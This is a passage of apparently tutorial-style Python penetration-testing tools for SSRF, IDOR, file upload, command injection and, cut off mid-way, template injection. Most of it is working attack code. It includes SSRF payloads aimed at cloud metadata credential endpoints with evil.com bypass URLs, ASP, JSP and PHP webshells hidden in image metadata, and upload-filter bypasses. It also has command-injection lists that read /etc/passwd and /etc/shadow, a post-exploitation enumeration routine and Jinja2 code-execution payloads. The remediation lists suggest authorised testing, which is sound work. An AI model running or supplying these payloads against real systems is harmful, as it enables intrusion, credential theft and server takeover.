'file:///etc/passwd',
'file:///c:/windows/win.ini'
],
'internal': [
'http://10.0.0.1',
'http://10.0.0.2',
'http://172.16.0.1',
'http://172.17.0.1',
'http://192.168.1.1',
'http://192.168.0.1',
'http://169.254.169.254', # AWS metadata
'http://169.254.169.254/latest/meta-data/',
'http://metadata.google.internal',
'http://metadata.google.internal/computeMetadata/v1/',
'http://100.100.100.200/latest/meta-data/', # Aliyun
'http://169.254.169.254/2009-04-04/meta-data/'
],
'protocols': [
'file:///etc/passwd',
'file:///c:/windows/win.ini',
'dict://127.0.0.1:11211/', # Memcached
'gopher://127.0.0.1:8080/_GET / HTTP/1.0',
'ftp://127.0.0.1:21/',
'sftp://127.0.0.1:22/',
'ldap://127.0.0.1:389/',
'smb://127.0.0.1:445/',
'redis://127.0.0.1:6379/',
'mysql://127.0.0.1:3306/',
'postgresql://127.0.0.1:5432/'
],
'bypass': [
'http://127.0.0.1#.evil.com',
'http://127.0.0.1@evil.com',
'http://evil.com@127.0.0.1',
'http://127.0.0.1.evil.com',
'http://localhost.evil.com',
'http://evil.com/127.0.0.1',
'http://127.0.0.1:80@evil.com:80',
'https://127.0.0.1/',
'http://[::1]/',
'http://0x7f000001/', # Hex representation
'http://0177.0.0.1/', # Octal
'http://2130706433/', # Decimal
'http://127.0.0.1.nip.io/',
'http://localtest.me/'
]
}
def test_ssrf(self, payloads):
"""Test for SSRF vulnerability"""
results = []
for category, payload_list in payloads.items():
print(f"[*] Testing {category} payloads...")
for payload in payload_list:
# Prepare request based on method
if self.method.upper() == 'GET':
url = f"{self.target_url}?{self.param_name}={payload}"
response = requests.get(url, timeout=5, allow_redirects=False)
elif self.method.upper() == 'POST':
data = {self.param_name: payload}
response = requests.post(self.target_url, data=data, timeout=5)
else:
response = None
if response:
# Check for indicators of successful SSRF
indicators = self.check_ssrf_indicators(response, payload)
if indicators:
results.append({
'category': category,
'payload': payload,
'status_code': response.status_code,
'indicators': indicators,
'response_length': len(response.text)
})
self.vulnerabilities = results
return results
def check_ssrf_indicators(self, response, payload):
"""Check for SSRF success indicators"""
indicators = []
# Common internal service fingerprints
fingerprints = {
'AWS': ['iam', 'instance-id', 'meta-data', 'local-ipv4'],
'MySQL': ['mysql', 'MariaDB', 'SQL syntax'],
'Redis': ['redis_version', 'redis_mode'],
'MongoDB': ['MongoDB', 'wire version'],
'Elasticsearch': ['elasticsearch', 'cluster_name'],
'Docker': ['Docker', 'Containers'],
'Kubernetes': ['kubernetes', 'kube-system'],
'Apache': ['Apache', 'It works'],
'Nginx': ['nginx', 'Welcome to nginx'],
'IIS': ['IIS', 'Internet Information Services'],
'SSH': ['SSH-2.0', 'OpenSSH'],
'FTP': ['FTP', '220', '230 Login successful']
}
# Check response for fingerprints
response_text = response.text.lower()
for service, fingerprints_list in fingerprints.items():
for fingerprint in fingerprints_list:
if fingerprint.lower() in response_text:
indicators.append(f"Detected {service}: {fingerprint}")
# Check for file contents
if '/etc/passwd' in payload and 'root:' in response.text:
indicators.append("File read successful: /etc/passwd")
if 'win.ini' in payload and '[fonts]' in response.text:
indicators.append("File read successful: windows/win.ini")
# Check for error messages that indicate attempted connection
error_indicators = [
'Connection refused',
'Connection timed out',
'Network is unreachable',
'Failed to connect',
'Unable to connect'
]
for error in error_indicators:
if error.lower() in response_text:
indicators.append(f"Error indicates attempted connection: {error}")
# Check for modified response (different from baseline)
baseline = requests.get(self.target_url)
if abs(len(response.text) - len(baseline.text)) > 100:
indicators.append("Response length differs significantly from baseline")
return indicators
def test_cloud_metadata(self):
"""Specifically test for cloud metadata endpoints"""
cloud_endpoints = {
'AWS': [
'http://169.254.169.254/latest/meta-data/',
'http://169.254.169.254/latest/user-data/',
'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
],
'GCP': [
'http://metadata.google.internal/computeMetadata/v1/',
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'
],
'Azure': [
'http://169.254.169.254/metadata/instance?api-version=2017-08-01',
'http://169.254.169.254/metadata/identity/oauth2/token'
],
'DigitalOcean': [
'http://169.254.169.254/metadata/v1.json'
],
'Aliyun': [
'http://100.100.100.200/latest/meta-data/'
]
}
results = {}
for cloud, endpoints in cloud_endpoints.items():
results[cloud] = []
for endpoint in endpoints:
if self.method.upper() == 'GET':
url = f"{self.target_url}?{self.param_name}={endpoint}"
try:
response = requests.get(url, timeout=5,
headers={'Metadata-Flavor': 'Google'})
if response.status_code == 200 and len(response.text) > 0:
results[cloud].append({
'endpoint': endpoint,
'status': response.status_code,
'data_preview': response.text[:200]
})
except:
pass
return results
def test_internal_port_scan(self, ip_range='127.0.0.1', ports=None):
"""Use SSRF to scan internal ports"""
if ports is None:
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]
results = []
for port in ports:
payload = f"http://{ip_range}:{port}"
url = f"{self.target_url}?{self.param_name}={payload}"
try:
response = requests.get(url, timeout=3)
# Different response might indicate open port
results.append({
'port': port,
'status_code': response.status_code,
'response_length': len(response.text),
'likely_open': response.status_code != 500 or 'Connection refused' not in response.text
})
except requests.Timeout:
results.append({
'port': port,
'error': 'timeout',
'likely_open': True
})
except:
results.append({
'port': port,
'error': 'exception',
'likely_open': False
})
return results
# Example usage
tester = SSRFTester('https://example.com/fetch', 'url')
payloads = tester.generate_payloads()
print("[*] Testing for SSRF vulnerabilities...")
results = tester.test_ssrf(payloads)
if results:
print(f"\n[!] Found {len(results)} potential SSRF vulnerabilities:")
for result in results:
print(f" - {result['category']}: {result['payload']}")
print(f" Status: {result['status_code']}")
for indicator in result['indicators']:
print(f" [!] {indicator}")
# Test cloud metadata
print("\n[*] Testing cloud metadata endpoints...")
cloud_results = tester.test_cloud_metadata()
for cloud, endpoints in cloud_results.items():
if endpoints:
print(f" [!] {cloud} metadata accessible!")
for endpoint in endpoints:
print(f" - {endpoint['endpoint']}")IDOR vulnerabilities occur when an application exposes direct references to internal objects, allowing attackers to access unauthorized data.
#!/usr/bin/env python3
# idor_tester.py
import requests
import itertools
from urllib.parse import urljoin
class IDORTester:
def __init__(self, base_url, auth_cookies=None):
self.base_url = base_url
self.session = requests.Session()
if auth_cookies:
self.session.cookies.update(auth_cookies)
self.vulnerabilities = []
def test_numeric_id(self, endpoint, id_param='id', start=1, end=100):
"""Test numeric ID enumeration"""
url_template = f"{self.base_url}/{endpoint}?{id_param}="
# First, get baseline with known valid ID
try:
response = self.session.get(f"{url_template}{start}")
baseline_length = len(response.text)
baseline_status = response.status_code
except:
baseline_length = 0
baseline_status = 404
found = []
for i in range(start, end + 1):
url = f"{url_template}{i}"
try:
response = self.session.get(url)
# Check if response differs from baseline
if response.status_code != baseline_status or abs(len(response.text) - baseline_length) > 50:
found.append({
'id': i,
'url': url,
'status_code': response.status_code,
'length': len(response.text)
})
# Check if we can access without auth (test with new session)
anon_session = requests.Session()
anon_response = anon_session.get(url)
if anon_response.status_code == 200:
self.vulnerabilities.append({
'type': 'IDOR - No Authentication Required',
'url': url,
'id': i
})
except Exception as e:
print(f"Error testing ID {i}: {e}")
return found
def test_uuid_patterns(self, endpoint, known_uuid):
"""Test UUID patterns"""
# Common UUID patterns
patterns = [
known_uuid.replace('-', ''),
known_uuid.replace('a', 'b'),
known_uuid.replace('1', '2'),
known_uuid[:-5] + '00000' + known_uuid[-5:],
known_uuid[:14] + '0' * 4 + known_uuid[18:]
]
found = []
for pattern in patterns:
url = f"{self.base_url}/{endpoint}/{pattern}"
try:
response = self.session.get(url)
if response.status_code == 200:
found.append({
'url': url,
'pattern': pattern,
'status': response.status_code
})
except:
pass
return found
def test_horizontal_privilege_escalation(self, endpoint, your_id, id_param='user_id'):
"""Test accessing other users' data"""
# Try IDs around your own
test_ids = [your_id + i for i in range(-5, 6) if your_id + i != your_id]
# Try sequential IDs
test_ids.extend([1, 2, 3, 4, 5, 10, 100])
# Try common admin IDs
test_ids.extend([0, 1, 999, 1000, 9999, 10000])
results = []
# Get your own data first as baseline
your_url = f"{self.base_url}/{endpoint}?{id_param}={your_id}"
your_response = self.session.get(your_url)
your_data_length = len(your_response.text)
for test_id in test_ids:
url = f"{self.base_url}/{endpoint}?{id_param}={test_id}"
try:
response = self.session.get(url)
# If we get data and it's different from our own
if response.status_code == 200 and len(response.text) > 0:
if abs(len(response.text) - your_data_length) > 50:
results.append({
'id': test_id,
'url': url,
'length': len(response.text)
})
self.vulnerabilities.append({
'type': 'IDOR - Horizontal Privilege Escalation',
'url': url,
'accessed_id': test_id,
'your_id': your_id
})
except:
pass
return results
def test_vertical_privilege_escalation(self, endpoint, your_role='user'):
"""Test accessing admin-level functions"""
admin_endpoints = [
'/admin',
'/admin/users',
'/admin/settings',
'/administrator',
'/manage',
'/management',
'/dashboard',
'/control-panel',
'/console',
'/api/admin',
'/admin/api/users',
'/admin/users/list',
'/admin/users/edit',
'/admin/config',
'/admin/settings/general',
'/user/admin',
'/users/admin',
'/root',
'/superuser'
]
admin_params = {
'admin': 'true',
'role': 'admin',
'privilege': 'admin',
'access': 'admin',
'user_type': 'administrator'
}
results = []
# Test direct admin endpoints
for admin_endpoint in admin_endpoints:
url = urljoin(self.base_url, admin_endpoint)
try:
response = self.session.get(url)
if response.status_code != 403 and response.status_code != 401:
results.append({
'url': url,
'status': response.status_code,
'length': len(response.text)
})
if response.status_code == 200:
self.vulnerabilities.append({
'type': 'IDOR - Vertical Privilege Escalation',
'url': url,
'description': 'Admin endpoint accessible with user privileges'
})
except:
pass
# Test with admin parameters
for endpoint in [endpoint] + admin_endpoints[:5]:
for param, value in admin_params.items():
url = f"{self.base_url}{endpoint}?{param}={value}"
try:
response = self.session.get(url)
if response.status_code != 403 and response.status_code != 401:
results.append({
'url': url,
'param': param,
'value': value,
'status': response.status_code
})
except:
pass
return results
def test_parameter_manipulation(self, endpoint, original_params):
"""Test manipulation of multiple parameters"""
results = []
# Try different parameter combinations
for param_name in original_params.keys():
# Try removing parameter
modified_params = original_params.copy()
del modified_params[param_name]
url = f"{self.base_url}/{endpoint}"
try:
response = self.session.get(url, params=modified_params)
if response.status_code == 200:
results.append({
'type': 'parameter_removal',
'param_removed': param_name,
'url': url
})
except:
pass
# Try modifying parameter values
for value in ['1', '0', 'true', 'false', 'admin', 'all', '*']:
modified_params = original_params.copy()
modified_params[param_name] = value
try:
response = self.session.get(url, params=modified_params)
if response.status_code == 200:
results.append({
'type': 'parameter_modification',
'param': param_name,
'value': value,
'url': url
})
except:
pass
return results
def test_mass_assignment(self, endpoint, update_data):
"""Test for mass assignment vulnerabilities"""
sensitive_fields = [
'admin', 'is_admin', 'role', 'user_role', 'privilege',
'permissions', 'group', 'user_group', 'access_level',
'account_type', 'user_type', 'membership', 'subscription',
'plan', 'tier', 'level', 'rank', 'status',
'is_active', 'enabled', 'disabled', 'locked',
'balance', 'credit', 'points', 'score',
'email_verified', 'verified', 'confirmed'
]
results = []
for field in sensitive_fields:
test_data = update_data.copy()
test_data[field] = 'admin' if 'admin' in field.lower() else 'true'
try:
response = self.session.post(
f"{self.base_url}/{endpoint}",
data=test_data
)
# Check if the update was accepted
if response.status_code == 200:
results.append({
'field': field,
'value': test_data[field],
'status': response.status_code
})
# Verify if the field was actually updated
verify_response = self.session.get(f"{self.base_url}/{endpoint}")
if field in verify_response.text:
self.vulnerabilities.append({
'type': 'Mass Assignment',
'field': field,
'value': test_data[field]
})
except:
pass
return results
def generate_report(self):
"""Generate IDOR vulnerability report"""
report = {
'total_vulnerabilities': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities,
'recommendations': [
"Implement proper access control checks for all object references",
"Use indirect references (e.g., maps, hashes) instead of direct IDs",
"Validate user permissions before returning any data",
"Implement random, unpredictable IDs where possible",
"Add logging for unauthorized access attempts",
"Use role-based access control (RBAC) consistently"
]
}
return report
# Example usage
tester = IDORTester('https://example.com/api', {'session': 'user_session'})
print("[*] Testing horizontal privilege escalation...")
horizontal_results = tester.test_horizontal_privilege_escalation('users', 123)
print("[*] Testing vertical privilege escalation...")
vertical_results = tester.test_vertical_privilege_escalation('profile')
print("[*] Testing numeric ID enumeration...")
numeric_results = tester.test_numeric_id('documents', 'id', 1, 50)
if tester.vulnerabilities:
print(f"\n[!] Found {len(tester.vulnerabilities)} IDOR vulnerabilities:")
for vuln in tester.vulnerabilities:
print(f" - {vuln['type']}: {vuln.get('url', vuln.get('field', 'N/A'))}") # ASP webshell
test_files['asp_webshell'] = {
'content': '<% Execute(Request("cmd")) %>',
'filename': 'shell.asp',
'mime': 'application/x-as'
}
# JSP webshell
test_files['jsp_webshell'] = {
'content': '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
'filename': 'shell.jsp',
'mime': 'application/x-jsp'
}
# Python script
test_files['python_script'] = {
'content': 'print("Hello")',
'filename': 'test.py',
'mime': 'text/x-python'
}
# JavaScript file
test_files['javascript'] = {
'content': 'alert("XSS")',
'filename': 'test.js',
'mime': 'application/javascript'
}
# HTML file with XSS
test_files['html_xss'] = {
'content': '<html><body><script>alert("XSS")</script></body></html>',
'filename': 'xss.html',
'mime': 'text/html'
}
# SVG with embedded script
test_files['svg_xss'] = {
'content': '''<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert("XSS");
</script>
<rect width="300" height="100" style="fill:rgb(0,0,255);" />
</svg>''',
'filename': 'xss.svg',
'mime': 'image/svg+xml'
}
# Valid image with PHP payload in comments
test_files['image_with_php'] = {
'content': None, # Will be created from actual image
'filename': 'image.php.jpg',
'mime': 'image/jpeg',
'type': 'create_from_image'
}
# Empty file
test_files['empty'] = {
'content': '',
'filename': 'empty.txt',
'mime': 'text/plain'
}
# Very large file (potential DoS)
test_files['large'] = {
'content': 'A' * 10 * 1024 * 1024, # 10MB
'filename': 'large.txt',
'mime': 'text/plain'
}
# Directory traversal attempt
test_files['path_traversal'] = {
'content': 'test',
'filename': '../../../etc/passwd',
'mime': 'text/plain'
}
# Null byte injection
test_files['null_byte'] = {
'content': 'test',
'filename': 'shell.php%00.jpg',
'mime': 'image/jpeg'
}
# ZIP file with symlink
test_files['zip_symlink'] = {
'content': None, # Will create ZIP
'filename': 'symlink.zip',
'mime': 'application/zip',
'type': 'create_zip'
}
return test_files
def create_image_with_payload(self, image_path, payload):
"""Embed payload in image metadata"""
try:
from PIL import Image, PngImagePlugin
# Open image
img = Image.open(image_path)
# Add comment with payload
if image_path.lower().endswith('.png'):
meta = PngImagePlugin.PngInfo()
meta.add_text('Comment', payload)
img.save('payload_image.png', pnginfo=meta)
return 'payload_image.png'
else:
# For JPEG, store in comment
img.save('payload_image.jpg', comment=payload)
return 'payload_image.jpg'
except Exception as e:
print(f"Error creating image: {e}")
return None
def create_zip_with_symlink(self, target_file):
"""Create ZIP file with symlink pointing to sensitive file"""
import zipfile
import os
zip_filename = 'symlink.zip'
with zipfile.ZipFile(zip_filename, 'w') as zf:
# Create symlink info (platform dependent)
zip_info = zipfile.ZipInfo('../../../../etc/passwd')
zip_info.create_system = 3 # Unix
zip_info.external_attr = 0o120777 << 16 # Symlink
zf.writestr(zip_info, target_file)
return zip_filename
def test_upload(self, test_files):
"""Test file upload functionality"""
results = []
for test_name, file_info in test_files.items():
print(f"[*] Testing: {test_name}")
try:
# Handle special file types
if file_info.get('type') == 'create_from_image':
# Download a valid image first
img_response = requests.get('https://via.placeholder.com/150')
with open('base_image.jpg', 'wb') as f:
f.write(img_response.content)
# Create image with PHP payload
payload_image = self.create_image_with_payload(
'base_image.jpg',
'<?php system($_GET["cmd"]); ?>'
)
if payload_image:
with open(payload_image, 'rb') as f:
files = {self.file_param: (file_info['filename'], f, file_info['mime'])}
response = requests.post(self.upload_url, files=files)
elif file_info.get('type') == 'create_zip':
zip_file = self.create_zip_with_symlink('/etc/passwd')
with open(zip_file, 'rb') as f:
files = {self.file_param: (file_info['filename'], f, file_info['mime'])}
response = requests.post(self.upload_url, files=files)
else:
# Regular file upload
files = {
self.file_param: (
file_info['filename'],
file_info['content'].encode() if isinstance(file_info['content'], str) else file_info['content'],
file_info['mime']
)
}
response = requests.post(self.upload_url, files=files)
# Analyze response
result = self.analyze_response(response, test_name, file_info)
results.append(result)
# Check if file was actually stored and is accessible
self.check_file_access(response, test_name, file_info)
except Exception as e:
print(f" Error: {e}")
results.append({
'test': test_name,
'error': str(e)
})
return results
def analyze_response(self, response, test_name, file_info):
"""Analyze upload response"""
result = {
'test': test_name,
'filename': file_info['filename'],
'status_code': response.status_code,
'success': response.status_code in [200, 201, 302]
}
# Check for reflected filename
if file_info['filename'] in response.text:
result['filename_reflected'] = True
self.vulnerabilities.append({
'type': 'Filename Reflection',
'test': test_name,
'filename': file_info['filename']
})
# Check for path disclosure
path_indicators = ['/var/www/', 'C:\\', '/home/', '/upload/']
for indicator in path_indicators:
if indicator in response.text:
result['path_disclosure'] = indicator
self.vulnerabilities.append({
'type': 'Path Disclosure',
'test': test_name,
'path': indicator
})
break
# Check for error messages
error_indicators = ['error', 'warning', 'fatal', 'exception', 'stack trace']
for indicator in error_indicators:
if indicator in response.text.lower():
result['error_message'] = indicator
break
return result
def check_file_access(self, response, test_name, file_info):
"""Check if uploaded file is accessible"""
# Try to determine upload path from response
import re
upload_paths = []
# Look for URL in response
url_pattern = r'(https?://[^\s"\']+)'
urls = re.findall(url_pattern, response.text)
upload_paths.extend(urls)
# Look for file path
path_pattern = r'(/uploads?/[^\s"\']+)'
paths = re.findall(path_pattern, response.text)
upload_paths.extend([f"{self.upload_url.split('/api')[0]}{p}" for p in paths])
# Try common upload paths
common_paths = [
'/uploads/',
'/upload/',
'/files/',
'/media/',
'/images/',
'/img/',
'/assets/uploads/',
'/content/uploads/',
'/wp-content/uploads/',
'/files/uploads/',
'/upload/files/'
]
base_url = '/'.join(self.upload_url.split('/')[:3]) # Get base URL
for path in common_paths:
file_url = f"{base_url}{path}{file_info['filename']}"
upload_paths.append(file_url)
# Try to access the file
for file_url in upload_paths[:10]: # Limit attempts
try:
response = requests.get(file_url, timeout=3)
if response.status_code == 200:
self.vulnerabilities.append({
'type': 'File Accessible',
'test': test_name,
'url': file_url,
'content_type': response.headers.get('Content-Type', 'unknown')
})
# Check if file executes
if 'php' in file_info['filename'] and '<?php' in file_info.get('content', ''):
# Test webshell
test_url = f"{file_url}?cmd=echo%20test"
shell_response = requests.get(test_url, timeout=3)
if 'test' in shell_response.text:
self.vulnerabilities.append({
'type': 'Webshell Executable',
'url': test_url,
'test': test_name
})
break
except:
pass
def test_bypass_techniques(self):
"""Test various upload bypass techniques"""
bypass_tests = [
{
'name': 'Change Content-Type',
'filename': 'shell.php',
'content': '<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'image/jpeg'}
},
{
'name': 'Double Extension',
'filename': 'shell.php.jpg',
'content': '<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'image/jpeg'}
},
{
'name': 'Case Manipulation',
'filename': 'shell.PhP',
'content': '<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'application/x-php'}
},
{
'name': 'Whitespace in Name',
'filename': 'shell.php .jpg',
'content': '<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'image/jpeg'}
},
{
'name': 'Control Characters',
'filename': 'shell.php%00.jpg',
'content': '<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'image/jpeg'}
},
{
'name': 'MIME Type Confusion',
'filename': 'shell.php',
'content': 'GIF89a<?php system($_GET["cmd"]); ?>',
'headers': {'Content-Type': 'image/gif'}
},
{
'name': 'Content-Length Bypass',
'filename': 'shell.php',
'content': '<?php system($_GET["cmd"]); ?>' + ' ' * 1000,
'headers': {'Content-Type': 'image/jpeg'}
}
]
results = []
for test in bypass_tests:
print(f"[*] Testing bypass: {test['name']}")
files = {
self.file_param: (test['filename'], test['content'], test['headers']['Content-Type'])
}
try:
response = requests.post(self.upload_url, files=files, headers=test['headers'])
if response.status_code in [200, 201, 302]:
results.append({
'test': test['name'],
'success': True,
'status_code': response.status_code
})
self.vulnerabilities.append({
'type': 'Upload Bypass',
'technique': test['name'],
'filename': test['filename']
})
except Exception as e:
results.append({
'test': test['name'],
'error': str(e)
})
return results
def generate_report(self):
"""Generate file upload vulnerability report"""
report = {
'total_vulnerabilities': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities,
'recommendations': [
"Validate file content, not just MIME type",
"Store files outside webroot",
"Use random filenames",
"Implement virus scanning",
"Restrict file permissions",
"Validate file size",
"Implement content security policy",
"Use separate domain for uploaded files",
"Disable execution in upload directories",
"Implement file type whitelisting"
]
}
# Categorize vulnerabilities
categories = {}
for vuln in self.vulnerabilities:
vuln_type = vuln['type']
if vuln_type not in categories:
categories[vuln_type] = 0
categories[vuln_type] += 1
report['categories'] = categories
return report
# Example usage
tester = FileUploadTester('https://example.com/upload.php')
# Create test files
test_files = tester.create_test_files()
# Run tests
print("[*] Testing file upload functionality...")
upload_results = tester.test_upload(test_files)
print("[*] Testing bypass techniques...")
bypass_results = tester.test_bypass_techniques()
# Generate report
report = tester.generate_report()
print(json.dumps(report, indent=2))Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.
#!/usr/bin/env python3
# command_injection_tester.py
import requests
import urllib.parse
import time
import re
class CommandInjectionTester:
def __init__(self, target_url, param_name, method='GET'):
self.target_url = target_url
self.param_name = param_name
self.method = method
self.vulnerabilities = []
def generate_payloads(self):
"""Generate command injection payloads"""
return {
'basic': [
'; ls',
'| ls',
'|| ls',
'& ls',
'&& ls',
'`ls`',
'$(ls)',
'; ls -la',
'| ls -la',
'& ls -la',
'; id',
'| id',
'& id',
'; whoami',
'| whoami',
'& whoami',
'; pwd',
'| pwd',
'& pwd'
],
'time_based': [
'; sleep 5',
'| sleep 5',
'& sleep 5',
'&& sleep 5',
'`sleep 5`',
'$(sleep 5)',
'; ping -c 5 127.0.0.1',
'| ping -c 5 127.0.0.1',
'& ping -c 5 127.0.0.1',
'; timeout 5',
'| timeout 5',
'& ping -n 5 127.0.0.1', # Windows
'& ping -t 5 127.0.0.1' # Windows
],
'output_extraction': [
'; echo START_TOKEN$(ls)END_TOKEN',
'| echo START_TOKEN$(ls)END_TOKEN',
'; cat /etc/passwd',
'| cat /etc/passwd',
'; type C:\\Windows\\win.ini',
'| type C:\\Windows\\win.ini',
'; echo START_TOKEN; ls; echo END_TOKEN',
'| echo START_TOKEN; ls; echo END_TOKEN'
],
'bypass_attempts': [
'; ls #',
'; ls %0a',
'; ls %0d%0a',
'; ls %0d',
'| ls %0a',
'${IFS}ls',
';{ls,}',
';{ls,-la}',
';`echo bHMgLWxh|base64 -d`',
';$(echo bHMgLWxh|base64 -d)',
';cat${IFS}/etc${IFS}passwd',
';cat$IFS/etc/passwd'
],
'windows_specific': [
'& dir',
'| dir',
'& type C:\\Windows\\win.ini',
'| type C:\\Windows\\win.ini',
'& ipconfig',
'| ipconfig',
'& whoami',
'| whoami',
'& ping -n 5 127.0.0.1',
'| ping -n 5 127.0.0.1',
'& systeminfo',
'| systeminfo'
],
'linux_specific': [
'; cat /etc/passwd',
'| cat /etc/passwd',
'; uname -a',
'| uname -a',
'; ifconfig',
'| ifconfig',
'; ps aux',
'| ps aux',
'; netstat -an',
'| netstat -an',
'; w',
'| w'
],
'error_based': [
'; invalidcommand',
'| invalidcommand',
'& invalidcommand',
'; commandthatdoesnotexist',
'| commandthatdoesnotexist'
]
}
def test_injection(self, payloads):
"""Test for command injection vulnerabilities"""
results = []
# Get baseline response for comparison
baseline = self.make_request(self.get_normal_request())
baseline_time = baseline.get('response_time', 0)
for category, payload_list in payloads.items():
print(f"[*] Testing {category} payloads...")
for payload in payload_list:
# Make request with payload
response = self.make_request(payload)
if response:
indicators = self.analyze_response(response, payload, baseline)
if indicators:
results.append({
'category': category,
'payload': payload,
'indicators': indicators,
'response_time': response.get('response_time', 0)
})
if 'time_delay' in indicators:
self.vulnerabilities.append({
'type': 'Command Injection (Time-based)',
'payload': payload,
'delay': response.get('response_time', 0) - baseline_time
})
elif 'command_output' in indicators:
self.vulnerabilities.append({
'type': 'Command Injection (Output)',
'payload': payload,
'output_preview': response.get('text', '')[:200]
})
elif 'error_message' in indicators:
self.vulnerabilities.append({
'type': 'Command Injection (Error-based)',
'payload': payload,
'error': response.get('text', '')[:200]
})
return results
def make_request(self, payload):
"""Make HTTP request with payload"""
try:
start_time = time.time()
if self.method.upper() == 'GET':
url = f"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}"
response = requests.get(url, timeout=10, allow_redirects=False)
elif self.method.upper() == 'POST':
data = {self.param_name: payload}
response = requests.post(self.target_url, data=data, timeout=10)
else:
return None
elapsed_time = time.time() - start_time
return {
'status_code': response.status_code,
'text': response.text,
'headers': dict(response.headers),
'response_time': elapsed_time,
'url': response.url if hasattr(response, 'url') else self.target_url
}
except requests.Timeout:
return {
'error': 'timeout',
'response_time': 10
}
except Exception as e:
return {
'error': str(e)
}
def get_normal_request(self):
"""Get a normal (non-malicious) request for baseline"""
return "test"
def analyze_response(self, response, payload, baseline):
"""Analyze response for command injection indicators"""
indicators = []
if 'error' in response:
return indicators
# Check for time-based injection
if 'sleep' in payload or 'ping' in payload:
if response.get('response_time', 0) > 5:
indicators.append('time_delay')
# Check for command output in response
command_output_patterns = [
'root:', # /etc/passwd
'uid=', # id command
'gid=',
'groups=',
'bin/bash',
'Linux',
'Windows',
'Directory of',
'[fonts]', # win.ini
'Volume in drive',
'Load Average',
'up time',
'users logged'
]
if payload in response.get('text', ''):
# Payload reflected - potential injection point
indicators.append('payload_reflected')
# Check for specific command outputs
response_text = response.get('text', '')
for pattern in command_output_patterns:
if pattern in response_text:
indicators.append('command_output')
break
# Check for error messages that might indicate command execution
error_patterns = [
'not found',
'command not found',
'is not recognized',
'No such file',
'Permission denied',
'cannot execute',
'failed to execute'
]
for pattern in error_patterns:
if pattern.lower() in response_text.lower():
indicators.append('error_message')
break
# Check for unexpected status codes
if response.get('status_code', 0) != baseline.get('status_code', 200):
if abs(response.get('status_code', 0) - baseline.get('status_code', 200)) > 0:
indicators.append('status_code_change')
# Check for unexpected response size
baseline_length = len(baseline.get('text', ''))
response_length = len(response_text)
if abs(response_length - baseline_length) > 500:
indicators.append('response_size_change')
return indicators
def test_blind_injection(self, payloads):
"""Test for blind command injection using out-of-band techniques"""
# This would require a listener or DNS server
# Simplified version using time delays
results = []
for payload in payloads['time_based']:
response = self.make_request(payload)
if response and response.get('response_time', 0) > 5:
results.append({
'payload': payload,
'delay': response.get('response_time', 0)
})
return results
def enumerate_system(self, confirmed_payload):
"""Attempt to enumerate system after confirming injection"""
commands = {
'linux': [
'id',
'uname -a',
'cat /etc/passwd',
'cat /etc/issue',
'ifconfig',
'netstat -an',
'ps aux',
'env',
'pwd',
'ls -la',
'whoami',
'hostname',
'cat /etc/shadow 2>/dev/null || echo "Cannot read shadow"'
],
'windows': [
'whoami',
'ipconfig /all',
'systeminfo',
'dir C:\\',
'type C:\\Windows\\win.ini',
'net user',
'netstat -an',
'tasklist',
'set',
'echo %cd%',
'hostname'
]
}
results = {}
# Try to determine OS first
os_check = self.execute_command(confirmed_payload, 'uname -a || ver')
if 'Linux' in os_check or 'Unix' in os_check:
os_type = 'linux'
else:
os_type = 'windows'
print(f"[*] Detected OS: {os_type}")
for cmd in commands[os_type]:
print(f"[*] Executing: {cmd}")
output = self.execute_command(confirmed_payload, cmd)
results[cmd] = output
return results
def execute_command(self, base_payload, command):
"""Execute a command using the injection point"""
# Construct payload based on base pattern
if ';' in base_payload:
payload = f"; {command}"
elif '|' in base_payload:
payload = f"| {command}"
elif '&' in base_payload:
payload = f"& {command}"
elif '`' in base_payload:
payload = f"`{command}`"
elif '$(' in base_payload:
payload = f"$({command})"
else:
payload = f"; {command}"
response = self.make_request(payload)
if response and response.get('text'):
return response['text'][:1000] # Return first 1000 chars
else:
return "No output received"
# Example usage
tester = CommandInjectionTester('https://example.com/ping', 'host')
# Generate payloads
payloads = tester.generate_payloads()
# Test for injection
print("[*] Testing for command injection...")
results = tester.test_injection(payloads)
if tester.vulnerabilities:
print(f"\n[!] Found {len(tester.vulnerabilities)} potential command injection vulnerabilities:")
for vuln in tester.vulnerabilities:
print(f" - {vuln['type']}: {vuln['payload']}")
# If confirmed, attempt enumeration
confirmed_payload = tester.vulnerabilities[0]['payload']
print("\n[*] Attempting system enumeration...")
system_info = tester.enumerate_system(confirmed_payload)
print(json.dumps(system_info, indent=2))Server-Side Template Injection (SSTI) occurs when user input is embedded in templates without proper sanitization.
#!/usr/bin/env python3
# template_injection_tester.py
import requests
import re
class TemplateInjectionTester:
def __init__(self, target_url, param_name, method='GET'):
self.target_url = target_url
self.param_name = param_name
self.method = method
self.vulnerabilities = []
def generate_payloads(self):
"""Generate template injection payloads by engine"""
return {
'detection': [
'{{7*7}}',
'${7*7}',
'{{7*\'7\'}}',
'<%= 7*7 %>',
'${{7*7}}',
'{{7*7}}',
'{{7*7}}',
'*{7*7}',
'#{7*7}',
'{{config}}',
'{{self.__class__.__mro__}}',
'{{7*7}}',
'{{7*7}}',
'{7*7}',
'{{7*7}}'
],
'jinja2': [
'{{7*7}}',
'{{7*\'7\'}}',
'{{config}}',
'{{self.__class__.__mro__}}',
'{{self.__class__.__mro__[2].__subclasses__()}}',
'{{''.__class__.__mro__[2].__subclasses__()}}',
'{{config.items()}}',
'{{request.application.__globals__.__builtins__.__import__(\'os\').popen(\'id\').read()}}',
'{{url_for.__globals__.os.popen(\'id\').read()}}',
'{{get_flashed_messages.__globals__.os.popen(\'id\').read()}}'
],
'twig': [
